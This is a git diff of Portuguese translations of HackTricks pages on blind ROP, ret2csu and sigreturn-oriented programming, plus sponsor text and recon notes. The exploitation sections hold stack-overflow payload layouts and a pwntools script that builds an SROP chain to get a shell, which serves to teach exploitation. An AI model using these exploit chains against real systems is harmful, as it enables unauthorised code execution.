Translated ['README.md', 'binary-exploitation/rop-return-oriented-progra
Before Width: | Height: | Size: 5.5 KiB After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 142 KiB |
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 708 KiB |
Before Width: | Height: | Size: 708 KiB After Width: | Height: | Size: 287 KiB |
Before Width: | Height: | Size: 57 KiB After Width: | Height: | Size: 201 KiB |
Before Width: | Height: | Size: 201 KiB After Width: | Height: | Size: 197 KiB |
Before Width: | Height: | Size: 137 KiB After Width: | Height: | Size: 79 KiB |
Before Width: | Height: | Size: 79 KiB After Width: | Height: | Size: 609 KiB |
Before Width: | Height: | Size: 43 KiB After Width: | Height: | Size: 43 KiB |
Before Width: | Height: | Size: 43 KiB After Width: | Height: | Size: 137 KiB |
Before Width: | Height: | Size: 160 KiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 1.3 MiB |
Before Width: | Height: | Size: 148 KiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 428 KiB |
Before Width: | Height: | Size: 150 KiB After Width: | Height: | Size: 43 KiB |
Before Width: | Height: | Size: 43 KiB After Width: | Height: | Size: 78 KiB |
Before Width: | Height: | Size: 33 KiB After Width: | Height: | Size: 42 KiB |
Before Width: | Height: | Size: 42 KiB After Width: | Height: | Size: 92 KiB |
Before Width: | Height: | Size: 10 KiB After Width: | Height: | Size: 33 KiB |
Before Width: | Height: | Size: 33 KiB After Width: | Height: | Size: 116 KiB |
Before Width: | Height: | Size: 1 MiB After Width: | Height: | Size: 74 KiB |
Before Width: | Height: | Size: 74 KiB After Width: | Height: | Size: 271 KiB |
Before Width: | Height: | Size: 56 KiB After Width: | Height: | Size: 254 KiB |
Before Width: | Height: | Size: 254 KiB After Width: | Height: | Size: 5.5 KiB |
Before Width: | Height: | Size: 5.5 KiB After Width: | Height: | Size: 254 KiB |
Before Width: | Height: | Size: 111 KiB After Width: | Height: | Size: 3.2 MiB |
Before Width: | Height: | Size: 3.2 MiB After Width: | Height: | Size: 10 KiB |
Before Width: | Height: | Size: 10 KiB After Width: | Height: | Size: 262 KiB |
Before Width: | Height: | Size: 111 KiB After Width: | Height: | Size: 407 KiB |
Before Width: | Height: | Size: 407 KiB After Width: | Height: | Size: 284 KiB |
Before Width: | Height: | Size: 7.5 KiB After Width: | Height: | Size: 175 KiB |
Before Width: | Height: | Size: 175 KiB After Width: | Height: | Size: 453 KiB |
Before Width: | Height: | Size: 23 KiB After Width: | Height: | Size: 172 KiB |
Before Width: | Height: | Size: 172 KiB After Width: | Height: | Size: 210 KiB |
Before Width: | Height: | Size: 165 KiB After Width: | Height: | Size: 1 MiB |
Before Width: | Height: | Size: 1 MiB After Width: | Height: | Size: 594 KiB |
Before Width: | Height: | Size: 92 KiB After Width: | Height: | Size: 112 KiB |
14
README.md
|
@ -5,7 +5,7 @@
|
|||
_Logotipos e design de movimento do Hacktricks por_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
{% hint style="success" %}
|
||||
**Bem-vindo ao wiki onde você encontrará cada truque/técnica de hacking/o que quer que eu tenha aprendido em CTFs, aplicativos da vida real, pesquisas de leitura e notícias.**
|
||||
**Bem-vindo ao wiki onde você encontrará cada truque/técnica de hacking/o que quer que eu tenha aprendido em CTFs, aplicativos da vida real, lendo pesquisas e notícias.**
|
||||
{% endhint %}
|
||||
|
||||
Para começar, siga esta página onde você encontrará o **fluxo típico** que **você deve seguir ao fazer pentesting** em uma ou mais **máquinas:**
|
||||
|
@ -44,7 +44,7 @@ Você pode conferir o **blog** deles em [**https://blog.stmcyber.com**](https://
|
|||
|
||||
**Intigriti** é a plataforma de **ethical hacking #1** da Europa e de **bug bounty**.
|
||||
|
||||
Dica de bug bounty: **cadastre-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**!
|
||||
Dica de bug bounty: **cadastre-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -79,7 +79,7 @@ Junte-se ao servidor do [**HackenProof Discord**](https://discord.com/invite/N3F
|
|||
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/) - O kit de ferramentas essencial para testes de penetração
|
||||
|
||||
<figure><img src=".gitbook/assets/image (15).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e testes de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde reconhecimento até relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
|
||||
|
@ -89,12 +89,12 @@ Junte-se ao servidor do [**HackenProof Discord**](https://discord.com/invite/N3F
|
|||
|
||||
### [SerpApi](https://serpapi.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
A SerpApi oferece APIs rápidas e fáceis em tempo real para **acessar resultados de mecanismos de busca**. Eles raspam mecanismos de busca, lidam com proxies, resolvem captchas e analisam todos os dados estruturados ricos para você.
|
||||
|
||||
Uma assinatura de um dos planos da SerpApi inclui acesso a mais de 50 APIs diferentes para raspar diferentes mecanismos de busca, incluindo Google, Bing, Baidu, Yahoo, Yandex e mais.\
|
||||
Ao contrário de outros provedores, **a SerpApi não apenas raspa resultados orgânicos**. As respostas da SerpApi consistentemente incluem todos os anúncios, imagens e vídeos embutidos, grafos de conhecimento e outros elementos e recursos presentes nos resultados da pesquisa.
|
||||
Ao contrário de outros provedores, a **SerpApi não apenas raspa resultados orgânicos**. As respostas da SerpApi consistentemente incluem todos os anúncios, imagens e vídeos embutidos, grafos de conhecimento e outros elementos e recursos presentes nos resultados da pesquisa.
|
||||
|
||||
Clientes atuais da SerpApi incluem **Apple, Shopify e GrubHub**.\
|
||||
Para mais informações, confira o [**blog deles**](https://serpapi.com/blog/)**,** ou experimente um exemplo em seu [**playground**](https://serpapi.com/playground)**.**\
|
||||
|
@ -118,7 +118,7 @@ Você pode **criar uma conta gratuita** [**aqui**](https://serpapi.com/users/sig
|
|||
|
||||
A WebSec é uma **empresa de segurança completa**, o que significa que eles fazem de tudo; Pentesting, Auditorias de Segurança, Treinamentos de Conscientização, Campanhas de Phishing, Revisão de Código, Desenvolvimento de Exploits, Terceirização de Especialistas em Segurança e muito mais.
|
||||
|
||||
Outra coisa legal sobre a WebSec é que, ao contrário da média da indústria, a WebSec é **muito confiante em suas habilidades**, a ponto de **garantir os melhores resultados de qualidade**, como afirmado em seu site "**Se não conseguirmos hackear, você não paga!**". Para mais informações, dê uma olhada em seu [**site**](https://websec.nl/en/) e [**blog**](https://websec.nl/blog/)!
|
||||
Outra coisa legal sobre a WebSec é que, ao contrário da média da indústria, a WebSec é **muito confiante em suas habilidades**, a ponto de **garantir os melhores resultados de qualidade**, como declarado em seu site "**Se não conseguirmos hackear, você não paga!**". Para mais informações, dê uma olhada em seu [**site**](https://websec.nl/en/) e [**blog**](https://websec.nl/blog/)!
|
||||
|
||||
Além do acima, a WebSec também é um **apoiador comprometido do HackTricks.**
|
||||
|
||||
|
@ -131,7 +131,7 @@ Além do acima, a WebSec também é um **apoiador comprometido do HackTricks.**
|
|||
|
||||
O principal objetivo do WhiteIntel é combater a apropriação de contas e ataques de ransomware resultantes de malwares que roubam informações.
|
||||
|
||||
Você pode verificar o site deles e experimentar o mecanismo gratuitamente em:
|
||||
Você pode acessar o site deles e experimentar o mecanismo gratuitamente em:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
|
|
|
@ -373,7 +373,8 @@
|
|||
* [Firebase Database](network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
* [CGI](network-services-pentesting/pentesting-web/cgi.md)
|
||||
* [DotNetNuke (DNN)](network-services-pentesting/pentesting-web/dotnetnuke-dnn.md)
|
||||
* [Drupal](network-services-pentesting/pentesting-web/drupal.md)
|
||||
* [Drupal](network-services-pentesting/pentesting-web/drupal/README.md)
|
||||
* [Drupal RCE](network-services-pentesting/pentesting-web/drupal/drupal-rce.md)
|
||||
* [Electron Desktop Apps](network-services-pentesting/pentesting-web/electron-desktop-apps/README.md)
|
||||
* [Electron contextIsolation RCE via preload code](network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md)
|
||||
* [Electron contextIsolation RCE via Electron internal code](network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md)
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -34,22 +34,22 @@ Você pode encontrar mais informações sobre esses processos [aqui (BF Forked &
|
|||
|
||||
### **4. Encontrar o gadget de parada**
|
||||
|
||||
Este gadget basicamente permite confirmar que algo interessante foi executado pelo gadget ROP porque a execução não travou. Geralmente, este gadget será algo que **interrompe a execução** e é posicionado no final da cadeia ROP ao procurar gadgets ROP específicos que foram executados.
|
||||
Este gadget basicamente permite confirmar que algo interessante foi executado pelo gadget ROP porque a execução não travou. Geralmente, esse gadget será algo que **interrompe a execução** e é posicionado no final da cadeia ROP ao procurar gadgets ROP específicos que foram executados.
|
||||
|
||||
### **5. Encontrar o gadget BROP**
|
||||
|
||||
Esta técnica usa o gadget [**ret2csu**](ret2csu.md). E isso ocorre porque se você acessar este gadget no meio de algumas instruções, você obtém gadgets para controlar **`rsi`** e **`rdi`**:
|
||||
Esta técnica usa o gadget [**ret2csu**](ret2csu.md). E isso ocorre porque se você acessar esse gadget no meio de algumas instruções, você obtém gadgets para controlar **`rsi`** e **`rdi`**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
Estes seriam os gadgets:
|
||||
Esses seriam os gadgets:
|
||||
|
||||
* `pop rsi; pop r15; ret`
|
||||
* `pop rdi; ret`
|
||||
|
||||
Observe como com esses gadgets é possível **controlar 2 argumentos** de uma função a ser chamada.
|
||||
|
||||
Também observe que o gadget ret2csu tem uma **assinatura muito única** porque ele vai desempilhar 6 registradores da pilha. Então, enviando uma cadeia como:
|
||||
Além disso, observe que o gadget ret2csu tem uma **assinatura muito única** porque ele vai desempilhar 6 registradores da pilha. Então, enviando uma cadeia como:
|
||||
|
||||
`'A' * deslocamento + canário + rbp + ADDR + 0xdead * 6 + STOP`
|
||||
|
||||
|
@ -59,7 +59,7 @@ Para **remover esta última opção** uma nova cadeia como a seguinte é executa
|
|||
|
||||
`'A' * deslocamento + canário + rbp + ADDR`
|
||||
|
||||
Conhecendo o endereço do gadget ret2csu, é possível **inferir o endereço dos gadgets para controlar `rsi` e `rdi`**.
|
||||
Sabendo o endereço do gadget ret2csu, é possível **inferir o endereço dos gadgets para controlar `rsi` e `rdi`**.
|
||||
|
||||
### 6. Encontrar PLT
|
||||
|
||||
|
@ -73,7 +73,7 @@ Portanto, é possível encontrar a tabela PLT verificando os seguintes comportam
|
|||
|
||||
### 7. Encontrar strcmp
|
||||
|
||||
A função **`strcmp`** define o registrador **`rdx`** como o comprimento da string sendo comparada. Note que **`rdx`** é o **terceiro argumento** e precisamos que ele seja **maior que 0** para posteriormente usar `write` para vazar o programa.
|
||||
A função **`strcmp`** define o registrador **`rdx`** como o comprimento da string sendo comparada. Observe que **`rdx`** é o **terceiro argumento** e precisamos que ele seja **maior que 0** para posteriormente usar `write` para vazar o programa.
|
||||
|
||||
É possível encontrar a localização do **`strcmp`** na PLT com base em seu comportamento usando o fato de que agora podemos controlar os 2 primeiros argumentos das funções:
|
||||
|
||||
|
@ -82,7 +82,7 @@ A função **`strcmp`** define o registrador **`rdx`** como o comprimento da str
|
|||
* strcmp(\<endereço lido>, \<endereço não lido>) -> travamento
|
||||
* strcmp(\<endereço lido>, \<endereço lido>) -> sem travamento
|
||||
|
||||
É possível verificar isso chamando cada entrada da tabela PLT ou usando o **caminho lento da PLT** que basicamente consiste em **chamar uma entrada na tabela PLT + 0xb** (que chama para **`dlresolve`**) seguido na pilha pelo **número de entrada que se deseja sondar** (começando em zero) para escanear todas as entradas da PLT:
|
||||
É possível verificar isso chamando cada entrada da tabela PLT ou usando o **caminho lento da PLT** que basicamente consiste em **chamar uma entrada na tabela PLT + 0xb** (que chama para **`dlresolve`**) seguido na pilha pelo **número de entrada que se deseja sondar** (começando em zero) para escanear todas as entradas da PLT a partir da primeira:
|
||||
|
||||
* strcmp(\<endereço não lido>, \<endereço lido>) -> travamento
|
||||
* `b'A' * deslocamento + canário + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Vai travar
|
||||
|
@ -91,7 +91,7 @@ A função **`strcmp`** define o registrador **`rdx`** como o comprimento da str
|
|||
* strcmp(\<endereço lido>, \<endereço lido>) -> sem travamento
|
||||
* `b'A' * deslocamento + canário + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` 
|
||||
|
||||
Lembre-se que:
|
||||
Lembre-se de que:
|
||||
|
||||
* BROP + 0x7 aponta para **`pop RSI; pop R15; ret;`**
|
||||
* BROP + 0x9 aponta para **`pop RDI; ret;`**
|
||||
|
@ -108,9 +108,9 @@ Finalmente, é necessário um gadget que exfiltra dados para exfiltrar o binári
|
|||
|
||||
Existem 3 funções comuns que poderiam ser abusadas para isso:
|
||||
|
||||
- `puts(data)`
|
||||
- `dprintf(fd, data)`
|
||||
- `write(fd, data, len(data)`
|
||||
* `puts(data)`
|
||||
* `dprintf(fd, data)`
|
||||
* `write(fd, data, len(data)`
|
||||
|
||||
No entanto, o artigo original menciona apenas o **`write`**, então vamos falar sobre ele:
|
||||
|
||||
|
@ -120,15 +120,29 @@ No entanto, sabemos **onde está a tabela PLT** e é possível encontrar write c
|
|||
|
||||
Assinaturas de comportamento para encontrar essas funções:
|
||||
|
||||
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se houver dados impressos, então puts foi encontrado
|
||||
- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se houver dados impressos, então dprintf foi encontrado
|
||||
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se houver dados impressos, então write foi encontrado
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se houver dados impressos, então puts foi encontrado
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se houver dados impressos, então dprintf foi encontrado
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se houver dados impressos, então write foi encontrado
|
||||
|
||||
## Exploração Automática
|
||||
|
||||
- [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper)
|
||||
* [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper)
|
||||
|
||||
## Referências
|
||||
|
||||
- Artigo original: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
|
||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
|
||||
* Artigo original: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
|
||||
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,9 +4,9 @@
|
|||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -36,7 +36,7 @@ pop r14;
|
|||
pop r15;
|
||||
ret;
|
||||
```
|
||||
Este gadget nos permite controlar esses registradores ao retirar valores da pilha para eles.
|
||||
Este gadget nos permite controlar esses registradores ao retirar valores da pilha e colocá-los neles.
|
||||
|
||||
2. A segunda sequência utiliza os valores que configuramos para fazer algumas coisas:
|
||||
* **Mover valores específicos para outros registradores**, preparando-os para serem usados como parâmetros em funções.
|
||||
|
@ -62,7 +62,7 @@ ret
|
|||
As condições serão:
|
||||
|
||||
* `[r12 + rbx*8]` deve apontar para um endereço que armazena uma função chamável (se não tiver ideia e não tiver PIE, você pode simplesmente usar a função `_init`):
|
||||
* Se \_init estiver em `0x400560`, use o GEF para procurar um ponteiro na memória para ele e faça `[r12 + rbx*8]` ser o endereço com o ponteiro para \_init:
|
||||
* Se \_init estiver em `0x400560`, use o GEF para procurar por um ponteiro na memória para ele e faça `[r12 + rbx*8]` ser o endereço com o ponteiro para \_init:
|
||||
```bash
|
||||
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
gef➤ search-pattern 0x400560
|
||||
|
@ -79,7 +79,7 @@ gef➤ search-pattern 0x400560
|
|||
|
||||
Outra maneira de controlar **`rdi`** e **`rsi`** do gadget ret2csu é acessando offsets específicos:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
Verifique esta página para mais informações:
|
||||
|
||||
|
@ -180,4 +180,4 @@ target.interactive()
|
|||
```
|
||||
### Por que não usar diretamente a libc?
|
||||
|
||||
Normalmente, esses casos também são vulneráveis ao **ret2plt** + **ret2lib**, mas às vezes você precisa controlar mais parâmetros do que é facilmente controlado com os gadgets encontrados diretamente na libc. Por exemplo, a função `write()` requer três parâmetros, e **encontrar gadgets para definir todos esses diretamente pode não ser possível**.
|
||||
Normalmente esses casos também são vulneráveis ao [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), mas às vezes você precisa controlar mais parâmetros do que são facilmente controlados com os gadgets que você encontra diretamente na libc. Por exemplo, a função `write()` requer três parâmetros, e **encontrar gadgets para definir todos esses diretamente pode não ser possível**.
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
@ -146,9 +146,9 @@ return 0;
|
|||
|
||||
Na seção **`vdso`** é possível encontrar uma chamada para **`sigreturn`** no deslocamento **`0x7b0`**:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image.png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (17).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Portanto, se vazado, é possível **usar este endereço para acessar um `sigreturn`** se o binário não estiver carregando-o:
|
||||
Portanto, se vazado, é possível **usar este endereço para acessar um `sigreturn`** se o binário não o estiver carregando:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -177,7 +177,7 @@ payload += bytes(frame)
|
|||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Para mais informações sobre o vdso, verifique:
|
||||
Para obter mais informações sobre vdso, verifique:
|
||||
|
||||
{% content-ref url="../ret2vdso.md" %}
|
||||
[ret2vdso.md](../ret2vdso.md)
|
||||
|
|
|
@ -2,25 +2,25 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Descoberta de Ativos
|
||||
## Descobertas de Ativos
|
||||
|
||||
> Então disseram a você que tudo pertencente a uma empresa está dentro do escopo, e você quer descobrir o que essa empresa realmente possui.
|
||||
|
||||
|
@ -33,7 +33,7 @@ O objetivo desta fase é obter todas as **empresas pertencentes à empresa princ
|
|||
|
||||
### **Aquisições**
|
||||
|
||||
Antes de tudo, precisamos saber quais **outras empresas são de propriedade da empresa principal**.\
|
||||
Em primeiro lugar, precisamos saber quais **outras empresas são de propriedade da empresa principal**.\
|
||||
Uma opção é visitar [https://www.crunchbase.com/](https://www.crunchbase.com), **pesquisar** pela **empresa principal** e **clicar** em "**aquisições**". Lá você verá outras empresas adquiridas pela principal.\
|
||||
Outra opção é visitar a página da **Wikipedia** da empresa principal e procurar por **aquisições**.
|
||||
|
||||
|
@ -44,7 +44,7 @@ Outra opção é visitar a página da **Wikipedia** da empresa principal e procu
|
|||
Um número de sistema autônomo (**ASN**) é um **número único** atribuído a um **sistema autônomo** (AS) pela **Internet Assigned Numbers Authority (IANA)**.\
|
||||
Um **AS** consiste em **blocos** de **endereços IP** que possuem uma política claramente definida para acessar redes externas e são administrados por uma única organização, mas podem ser compostos por vários operadores.
|
||||
|
||||
É interessante descobrir se a **empresa possui algum ASN** para encontrar seus **intervalos de IP**. Será interessante realizar um **teste de vulnerabilidade** contra todos os **hosts** dentro do **escopo** e procurar **domínios** dentro desses IPs.\
|
||||
É interessante descobrir se a **empresa possui algum ASN atribuído** para encontrar seus **intervalos de IP**. Será interessante realizar um **teste de vulnerabilidade** contra todos os **hosts** dentro do **escopo** e procurar **domínios** dentro desses IPs.\
|
||||
Você pode **pesquisar** pelo nome da empresa, pelo **IP** ou pelo **domínio** em [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||
